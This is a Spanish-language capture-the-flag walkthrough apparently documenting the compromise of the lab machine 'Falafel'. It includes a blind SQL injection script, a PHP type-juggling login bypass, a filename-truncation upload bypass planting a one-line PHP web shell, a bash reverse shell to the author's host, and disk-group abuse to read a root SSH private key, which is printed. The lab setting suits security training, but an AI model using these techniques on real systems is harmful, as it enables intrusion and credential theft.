Conocimientos
-
Information Disclosure
-
Inyección SQL - Conditional Based
-
Python Scripting (BÁSICO)
-
PHP Type Juggling Attack
-
Arbitrary File Upload
-
Desbordamiento de nombre de archivo
-
Abuso del grupo video
-
Abuso del grupo disk (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.73 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-11 16:44 GMT
Nmap scan report for 10.10.10.73
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.50 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.10.73 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-11 16:46 GMT
Nmap scan report for 10.10.10.73
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 36c00a2643f8cea82c0d192110a6a8e7 (RSA)
| 256 cb20fdffa880f2a24b2bbbe17698d0fb (ECDSA)
|_ 256 c4792bb6a9b7174c0740f3e57c1ae9dd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Falafel Lovers
| http-robots.txt: 1 disallowed entry
|_/*.txt
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.76 seconds
Detecta un archivo robots.txt
. Aplico fuzzing de archivos TXT
gobuster dir -u http://10.10.10.73 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.73
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2023/02/11 16:58:41 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://10.10.10.73/images/]
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.73/uploads/]
/assets (Status: 301) [Size: 311] [--> http://10.10.10.73/assets/]
/css (Status: 301) [Size: 308] [--> http://10.10.10.73/css/]
/js (Status: 301) [Size: 307] [--> http://10.10.10.73/js/]
/robots.txt (Status: 200) [Size: 30]
/cyberlaw.txt (Status: 200) [Size: 804]
/server-status (Status: 403) [Size: 299]
El fichero cyberlaw.txt
contiene lo siguiente:
From: Falafel Network Admin (admin@falafel.htb)
Subject: URGENT!! MALICIOUS SITE TAKE OVER!
Date: November 25, 2017 3:30:58 PM PDT
To: lawyers@falafel.htb, devs@falafel.htb
Delivery-Date: Tue, 25 Nov 2017 15:31:01 -0700
Mime-Version: 1.0
X-Spam-Status: score=3.7 tests=DNS_FROM_RFC_POST, HTML_00_10, HTML_MESSAGE, HTML_SHORT_LENGTH version=3.1.7
X-Spam-Level: ***
A user named "chris" has informed me that he could log into MY account without knowing the password,
then take FULL CONTROL of the website using the image upload feature.
We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload,
so I have no idea how he did it.
Dear lawyers, please handle him. I believe Cyberlaw is on our side.
Dear develpors, fix this broken site ASAP.
~admin
En el mensaje pone que es posible loggearse como el usuario Administrador desconociendo la contraseña
Puerto 80 (HTTP)
Con whatweb analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.10.73
http://10.10.10.73 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], Email[IT@falafel.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.73], Script, Title[Falafel Lovers]
La página principal se ve así:
Añado el dominio falafel.htb
al /etc/hosts
Tiene un panel de inicio de sesión. El error es distinto cuando introduzco un usuario válido
Intento efectuar una inyección SQL, me salta una advertencia
Utilizo un diccionario de Seclists para validar usuarios
wfuzz -c --hh=7074 -t 200 -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -d 'username=FUZZ&password=admin' http://10.10.10.73/login.php
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.73/login.php
Total requests: 10177
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000086: 200 102 L 659 W 7091 Ch "admin"
000001886: 200 102 L 659 W 7091 Ch "chris"
Total time: 0
Processed Requests: 10177
Filtered Requests: 10175
Requests/sec.: 0
Y busco archivos PHP
gobuster dir -u http://10.10.10.73 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 150 -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.73
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/02/11 17:07:38 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://10.10.10.73/images/]
/index.php (Status: 200) [Size: 7203]
/login.php (Status: 200) [Size: 7063]
/profile.php (Status: 302) [Size: 9787] [--> login.php]
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.73/uploads/]
/header.php (Status: 200) [Size: 288]
/assets (Status: 301) [Size: 311] [--> http://10.10.10.73/assets/]
/footer.php (Status: 200) [Size: 0]
/upload.php (Status: 302) [Size: 0] [--> profile.php]
/css (Status: 301) [Size: 308] [--> http://10.10.10.73/css/]
/js (Status: 301) [Size: 307] [--> http://10.10.10.73/js/]
/style.php (Status: 200) [Size: 6174]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/connection.php (Status: 200) [Size: 0]
/.php (Status: 403) [Size: 290]
/server-status (Status: 403) [Size: 299]
Progress: 440327 / 441094 (99.83%)
===============================================================
2023/02/11 17:10:27 Finished
===============================================================
Puedo llegar a saber el número de columnas al aplicar un ordenamiento. El error cambia
Como muchas de las querys que introduzco son bloqueadas, más que intentar mostrar datos en el error puedo introducir una condición para que en caso de que se cumpla, el error cambie. Por ejemplo: admin' and substring(username,1,1)='a'
Creo un script en python que se encargue de extraer la contraseña de los dos usuarios que tengo
#!/usr/bin/python3
from pwn import *
import requests, time, sys, string, signal
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://10.10.10.73/login.php"
characters = string.digits + string.ascii_lowercase
def makeRequest():
p1 = log.progress("SQLi")
p1.status("Dumpeando datos")
time.sleep(2)
p2 = log.progress("Contraseña; ")
password = ""
for position in range(1,60):
for character in characters:
post_data = {
'username': "admin' and substring(password,%d,1)='%s'-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
r = requests.post(main_url, data=post_data)
if "Try again.." not in r.text:
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()
Ejecuto el script y obtengo la contraseña
python3 sqli.py
[┴] SQLi: admin' and substring(password,33,1)='g'-- -
[↓] Contraseña: 0e462096931906507119562988736854
Lo mismo para el otro usuario
python3 sqli.py
[p] SQLi: chris' and substring(password,33,1)='h'-- -
[◤] Contraseña; : d4ee02a22fc872e36d9e3751ba72ddc8
Las introduzco en crackstation para intentar obtenerlas en texto claro
Me puedo loggear como el usuario Chris, pero no como administrador
Al intentar acceder a /upload.php
me aplica un redirect a /profile.php
. Como en la pista CTF ponía que se podía acceder como administrador sin conocer la contraseña, es posible que sea vulnerable a Type Juggling. En este artículo explican en que consiste
A resumidas cuentas, la contraseña del usuario Administrador comienza por un número seguido de una ‘e’ y más dígitos. A esto se le conoce como notación científica. Para que PHP no lo interprete así la validación se tiene que aplicar con ‘===’ no con ‘==’.
Demostración:
php --interactive
Interactive shell
php > if ("d4ee02a22fc872e36d9e3751ba72ddc8" == 0) { echo "Igual?"; } else { echo "No igual?"; }
No igual?
php > if ("d4ee02a22fc872e36d9e3751ba72ddc8" === 0) { echo "Igual?"; } else { echo "No igual?"; }
No igual?
php > if ("0e462096931906507119562988736854" == 0) { echo "Igual?"; } else { echo "No igual?"; }
Igual?
php > if ("0e462096931906507119562988736854" === 0) { echo "Igual?"; } else { echo "No igual?"; }
No igual?
php >
El vector de ataque está en encontrar una contraseña que a la hora de hashearla tenga esa representación, el problema está en que no es el tipo al que me estoy enfrentando, pero voy a suponer que es MD5. En este post está detallado como se puede aplicar dicha colisión para obtener la estructura deseada. Muestran 3 hashes precomputados que cumplen esas características. Podría crear un diccionario con crunch y buscarlos por mi cuenta, pero el proceso es muy lento y no merece la pena
echo -n aabg7XSs | md5sum
0e087386482136013740957780965295 -
Introduciendo la contraseña correspondiente a ese hash me puedo loggear sin problema como admin
Subo una imagen de prueba, y veo que se está ejecutando un wget
por detrás
No puedo inyectar un comando adicional porque aplica una validación a la extensión. Puedo probar un SSRF
De primeras bloquea apuntar a la loopback
Si la represento en hexadecimal ocurre lo mismo. Pruebo también a introducir otra IP dentro del segmento ‘127’ que debería ser lo mismo. Hago una prueba en mi equipo para asegurarme
ping -c 1 127.4.4.4
PING 127.4.4.4 (127.4.4.4) 56(84) bytes of data.
64 bytes from 127.4.4.4: icmp_seq=1 ttl=64 time=0.023 ms
--- 127.4.4.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms
Tampoco funciona. Solo faltaría probar a cambiarle el nombre del archivo por uno de una longitud mayor a 255 bytes, que es el límite para renombrar un archivo. Renombro mi archivo de ejemplo con tantas “A” como para llegar al tope, restándole 4 bytes que corresponden a la extensión
mv example.jpg $(python3 -c 'print("A"* 251 + ".jpg")')
Me comparto un servicio HTTP con python, y a la hora de descargar el archivo lo renombra para hacerlo más corto, quitando la extensión
Le vuelvo a cambiar el nombre para que tenga la extensión PHP al final, de tal forma que solo se elimine el JPG, dejando un PHP. Pero no es tan sencillo como eliminar solo 4 bytes. Creo un patrón con pattern_create
que se encargue de calcular el offset
mv example.jpg "$(pattern_create.rb -l 251).jpg"
Para calcular el offeset, me quedo con los 4 últimos bytes que me representa
pattern_offset.rb -q h7Ah
[*] Exact match at offset 232
Ahora ya consigo que quede la extensión PHP en el nombre del archivo
mv example.jpg $(python3 -c 'print("A"*232 + ".php" + ".jpg")')
Creo un archivo PHP que me permita ejecutar comandos y lo subo con ese nombre.
<?php
system($_GET['cmd']);
?>
Tengo la ruta donde se almacena
Y obtengo RCE
curl '10.10.10.73/uploads/0211-2107_98f7d2e6079b071c/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php?cmd=whoami'
www-data
Me puedo enviar una reverse shell a mi equipo
curl "10.10.10.73/uploads/0211-2107_98f7d2e6079b071c/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.7/443+0>%261'"
Gano acceso en una sesión de netcat como www-data
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.73] 45426
bash: cannot set terminal process group (1303): Inappropriate ioctl for device
bash: no job control in this shell
www-data@falafel:/var/www/html/uploads/0211-2107_98f7d2e6079b071c$ script /dev/null -c bash
<tml/uploads/0211-2107_98f7d2e6079b071c$ script /dev/null -c bash
Script started, file is /dev/null
www-data@falafel:/var/www/html/uploads/0211-2107_98f7d2e6079b071c$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
<tml/uploads/0211-2107_98f7d2e6079b071c$ reset xterm
<tml/uploads/0211-2107_98f7d2e6079b071c$ stty rows 55 columns 209
www-data@falafel:/var/www/html/uploads/0211-2107_98f7d2e6079b071c$ export TERM=xterm
www-data@falafel:/var/www/html/uploads/0211-2107_98f7d2e6079b071c$ export SHELL=bash
Estoy en la máquina víctima
www-data@falafel:/var/www/html/uploads/0211-2107_98f7d2e6079b071c$ hostname -I
10.10.10.73
Existen dos usuarios
www-data@falafel:/home$ ls
moshe yossi
En un archivo PHP están las credenciales a la base de datos
www-data@falafel:/var/www/html$ cat connection.php
<?php
define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', 'falafelIsReallyTasty');
define('DB_DATABASE', 'falafel');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
?>
Se reutilizan para el usuario moshe
a nivel de sistema
www-data@falafel:/var/www/html$ su moshe
Password:
setterm: terminal xterm does not support --blank
moshe@falafel:/var/www/html$
Puedo visualizar la primera flag
moshe@falafel:~$ cat user.txt
5d3d5e3afb467d93682eb54af1957332
Encuentro varios directorios y archivos cuyo propietario es yossi
www-data@falafel:/$ find \-user yossi 2>/dev/null | grep -v proc
./home/yossi
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service/tasks
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service/init.scope
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service/init.scope/tasks
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service/init.scope/cgroup.clone_children
./var/lib/lxcfs/cgroup/name=systemd/user.slice/user-1000.slice/user@1000.service/init.scope/notify_on_release
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/tasks
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/init.scope
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/init.scope/tasks
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/init.scope/cgroup.clone_children
./sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/init.scope/notify_on_release
./dev/tty1
./run/user/1000
Tiene una terminal abierta
Estoy en varios grupos asignado
moshe@falafel:~$ id
uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games)
Como estoy en el grupo video, puedo intentar sacar una captura de pantalla de la terminal de yossi
. Busco por los archivos que tengan pertenezcan a video
moshe@falafel:/$ find \-group video 2>/dev/null
./dev/fb0
./dev/dri/card0
./dev/dri/renderD128
./dev/dri/controlD64
En Hacktricks hay una sección dedicada a esto. Exporto el contenido de /dev/fb0
a un archivo para traerlo a mi equipo
cat /dev/fb0 > /tmp/screen.raw
Lo detecta como una imagen
file captura.raw
captura.raw: Targa image data - Map (256-257) 257 x 1 x 1 +257 +1 - 1-bit alpha "\001"
De primeras no la puedo abrir, faltan archivos
icat captura.raw
Failed to open image: captura.raw with error: identify-im6.q16: delegate failed `'ufraw-batch' --silent --create-id=also --out-type=png --out-depth=16 --output='%u.png' '%i'' @ error/delegate.c/InvokeDelegate/1966.
identify-im6.q16: unable to open image `/tmp/magick-Z7LyQiGHX0NkOqIZcX4lQisAnVx690G7.ppm': No such file or directory @ error/blob.c/OpenBlob/2924.
Miro cual es el tamaño de la terminal de yossi
moshe@falafel:/$ find \-name fb0 2>/dev/null
./sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0
./sys/class/graphics/fb0
./dev/fb0
moshe@falafel:/tmp$ cat /sys/class/graphics/fb0/virtual_size
1176,885
Con GIMP
abro la captura, indicándole que es data en bruto
Le indico las proporciones que tenía de antes
Obtengo la captura
Me convierto en este usuario
moshe@falafel:/$ su yossi
Password:
yossi@falafel:/$
Escalada
Ahora tengo acceso a otros grupos distintos
yossi@falafel:~$ id
uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare)
disk
puede ser crítico, ya que tengo acceso a las unidades lógicas, entre ellas la que almacena el sistema
yossi@falafel:/$ find \-group disk 2>/dev/null
./dev/btrfs-control
./dev/sda5
./dev/sda2
./dev/sda1
./dev/sg0
./dev/sda
./dev/loop7
./dev/loop6
./dev/loop5
./dev/loop4
./dev/loop3
./dev/loop2
./dev/loop1
./dev/loop0
./dev/loop-control
yossi@falafel:/$ fdisk -l
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x2aa34854
Device Boot Start End Sectors Size Id Type
/dev/sda1 2048 7337983 7335936 3.5G 83 Linux
/dev/sda2 7337984 8388607 1050624 513M 5 Extended
/dev/sda5 7340032 8388607 1048576 512M 82 Linux swap / Solaris
Con debugfs
me puedo conectar al disco que quiera
yossi@falafel:/$ debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)
Puedo visualizar la segunda flag
debugfs: cat /root/root.txt
69ce499561cde33c720a5cebf76a8f2d
Para ganar acceso al sistema, me puedo traer la id_rsa
debugfs: cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyPdlQuyVr/L4xXiDVK8lTn88k4zVEEfiRVQ1AWxQPOHY7q0h
b+Zd6WPVczObUnC+TaElpDXhf3gjLvjXvn7qGuZekNdB1aoWt5IKT90yz9vUx/gf
v22+b8XdCdzyXpJW0fAmEN+m5DAETxHDzPdNfpswwYpDX0gqLCZIuMC7Z8D8Wpkg
BWQ5RfpdFDWvIexRDfwj/Dx+tiIPGcYtkpQ/UihaDgF0gwj912Zc1N5+0sILX/Qd
UQ+ZywP/qj1FI+ki/kJcYsW/5JZcG20xS0QgNvUBGpr+MGh2urh4angLcqu5b/ZV
dmoHaOx/UOrNywkp486/SQtn30Er7SlM29/8PQIDAQABAoIBAQCGd5qmw/yIZU/1
eWSOpj6VHmee5q2tnhuVffmVgS7S/d8UHH3yDLcrseQhmBdGey+qa7fu/ypqCy2n
gVOCIBNuelQuIAnp+EwI+kuyEnSsRhBC2RANG1ZAHal/rvnxM4OqJ0ChK7TUnBhV
+7IClDqjCx39chEQUQ3+yoMAM91xVqztgWvl85Hh22IQgFnIu/ghav8Iqps/tuZ0
/YE1+vOouJPD894UEUH5+Bj+EvBJ8+pyXUCt7FQiidWQbSlfNLUWNdlBpwabk6Td
OnO+rf/vtYg+RQC+Y7zUpyLONYP+9S6WvJ/lqszXrYKRtlQg+8Pf7yhcOz/n7G08
kta/3DH1AoGBAO0itIeAiaeXTw5dmdza5xIDsx/c3DU+yi+6hDnV1KMTe3zK/yjG
UBLnBo6FpAJr0w0XNALbnm2RToX7OfqpVeQsAsHZTSfmo4fbQMY7nWMvSuXZV3lG
ahkTSKUnpk2/EVRQriFjlXuvBoBh0qLVhZIKqZBaavU6iaplPVz72VvLAoGBANj0
GcJ34ozu/XuhlXNVlm5ZQqHxHkiZrOU9aM7umQkGeM9vNFOwWYl6l9g4qMq7ArMr
5SmT+XoWQtK9dSHVNXr4XWRaH6aow/oazY05W/BgXRMxolVSHdNE23xuX9dlwMPB
f/y3ZeVpbREroPOx9rZpYiE76W1gZ67H6TV0HJcXAoGBAOdgCnd/8lAkcY2ZxIva
xsUr+PWo4O/O8SY6vdNUkWIAm2e7BdX6EZ0v75TWTp3SKR5HuobjVKSht9VAuGSc
HuNAEfykkwTQpFTlmEETX9CsD09PjmsVSmZnC2Wh10FaoYT8J7sKWItSzmwrhoM9
BVPmtWXU4zGdST+KAqKcVYubAoGAHR5GBs/IXFoHM3ywblZiZlUcmFegVOYrSmk/
k+Z6K7fupwip4UGeAtGtZ5vTK8KFzj5p93ag2T37ogVDn1LaZrLG9h0Sem/UPdEz
HW1BZbXJSDY1L3ZiAmUPgFfgDSze/mcOIoEK8AuCU/ejFpIgJsNmJEfCQKfbwp2a
M05uN+kCgYBq8iNfzNHK3qY+iaQNISQ657Qz0sPoMrzQ6gAmTNjNfWpU8tEHqrCP
NZTQDYCA31J/gKIl2BT8+ywQL50avvbxcXZEsy14ExVnaTpPQ9m2INlxz97YLxjZ
FEUbkAlzcvN/S3LJiFbnkQ7uJ0nPj4oPw1XBcmsQoBwPFOcCEvHSrg==
-----END RSA PRIVATE KEY-----
ssh root@10.10.10.73 -i id_rsa
The authenticity of host '10.10.10.73 (10.10.10.73)' can't be established.
ED25519 key fingerprint is SHA256:HkqcmyRF5DsZuFTcQxQ4QcKq7eG+mQMn8MX9G5RkN5s.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.73' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Tue May 1 20:14:09 2018 from 10.10.14.4
root@falafel:~#